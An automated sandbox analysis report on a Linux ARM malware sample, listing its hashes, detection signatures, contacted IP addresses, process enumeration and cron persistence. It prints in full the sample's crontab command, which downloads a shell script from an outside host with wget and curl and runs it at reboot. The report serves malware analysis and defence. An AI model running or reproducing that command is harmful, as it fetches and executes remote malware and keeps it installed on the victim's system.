Linux Analysis Report
arm5.elf

Overview

General Information

Sample name: arm5.elf
Analysis ID: 1542898
MD5: c84fca197a6c0d8da1e804407643d901
SHA1: b18d35378928ff15d652cdb21e48d48abac2ffa8
SHA256: b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Found strings indicative of a multi-platform dropper
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: arm5.elf ReversingLabs: Detection: 13%
Source: tmp.Xufs4v.18.dr String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh

Networking

barindex
Source: global traffic TCP traffic: 185.82.200.181 ports 21798,1,2,7,8,9
Source: global traffic TCP traffic: 194.87.198.29 ports 21679,1,2,6,7,9
Source: global traffic TCP traffic: 193.233.193.45 ports 17002,7697,0,1,2,7
Source: global traffic TCP traffic: 195.133.92.51 ports 5079,11808,0,1,3,6,9,13960
Source: global traffic TCP traffic: 31.13.248.89 ports 5241,1,2,4,5,3477
Source: global traffic TCP traffic: 86.107.100.80 ports 3166,0,1,4,8,9,18904
Source: global traffic TCP traffic: 192.168.2.13:34194 -> 88.151.195.22:2442
Source: global traffic TCP traffic: 192.168.2.13:55600 -> 185.82.200.181:21798
Source: global traffic TCP traffic: 192.168.2.13:52290 -> 81.29.149.178:13935
Source: global traffic TCP traffic: 192.168.2.13:37134 -> 193.233.193.45:17002
Source: global traffic TCP traffic: 192.168.2.13:59012 -> 91.149.238.18:11528
Source: global traffic TCP traffic: 192.168.2.13:38608 -> 31.13.248.89:5241
Source: global traffic TCP traffic: 192.168.2.13:56776 -> 91.149.218.232:25550
Source: global traffic TCP traffic: 192.168.2.13:41438 -> 195.133.92.51:13960
Source: global traffic TCP traffic: 192.168.2.13:41242 -> 86.107.100.80:18904
Source: global traffic TCP traffic: 192.168.2.13:44186 -> 194.87.198.29:21679
Source: global traffic TCP traffic: 192.168.2.13:55000 -> 213.182.204.57:18471
Source: /tmp/arm5.elf (PID: 5421) Socket: 127.0.0.1:1172 Jump to behavior
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 178.254.22.166
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown UDP traffic detected without corresponding DNS query: 64.176.6.48
Source: unknown UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown UDP traffic detected without corresponding DNS query: 178.254.22.166
Source: unknown UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 168.235.111.72
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: global traffic DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: tmp.Xufs4v.18.dr String found in binary or memory: http://hailcocks.ru/wget.sh;
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal60.troj.linELF@0/1@28/0

Persistence and Installation Behavior

barindex
Source: /bin/sh (PID: 5427) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 5426) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Source: /usr/bin/crontab (PID: 5426) File: /var/spool/cron/crontabs/tmp.Xufs4v Jump to behavior
Source: /usr/bin/crontab (PID: 5426) File: /var/spool/cron/crontabs/root Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5481/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5560/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5561/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5265/cmdline Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5562/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5563/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5564/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5565/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5620/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5480/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5618/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5619/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5555/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5610/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5534/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5556/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5611/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5557/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5612/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5558/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5613/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5559/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5614/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5615/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5616/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5617/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5550/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5551/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5552/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5553/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5597/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5554/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5598/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5607/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5608/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5609/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5621/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5547/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5503/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5624/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5548/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5549/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5605/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5606/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5560/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5561/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5265/cmdline Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5562/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5563/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5564/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5565/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5620/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5618/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5619/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5555/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5610/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5556/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5611/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5557/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5612/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5536/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5558/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5613/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5559/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5614/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5615/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5616/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5617/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5550/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5551/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5552/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5553/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5597/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5554/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5598/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5607/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5608/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5609/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5621/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5547/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5525/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5624/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5548/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5526/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5549/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5605/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5529/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5606/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5423) Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -" Jump to behavior
Source: submitted sample Stderr: no crontab for root: exit code = 0
Source: /tmp/arm5.elf (PID: 5421) Queries kernel information via 'uname': Jump to behavior
Source: arm5.elf, 5421.1.000055b2cfce3000.000055b2cfe59000.rw-.sdmp, arm5.elf, 5428.1.000055b2cfce3000.000055b2cfe59000.rw-.sdmp, arm5.elf, 5481.1.000055b2cfce3000.000055b2cfe59000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm5.elf, 5421.1.000055b2cfce3000.000055b2cfe59000.rw-.sdmp, arm5.elf, 5428.1.000055b2cfce3000.000055b2cfe59000.rw-.sdmp, arm5.elf, 5481.1.000055b2cfce3000.000055b2cfe59000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.elf, 5421.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp, arm5.elf, 5428.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp, arm5.elf, 5481.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm5.elf, 5421.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp, arm5.elf, 5428.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp, arm5.elf, 5481.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp Binary or memory string: qKFwx86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
Source: arm5.elf, 5481.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs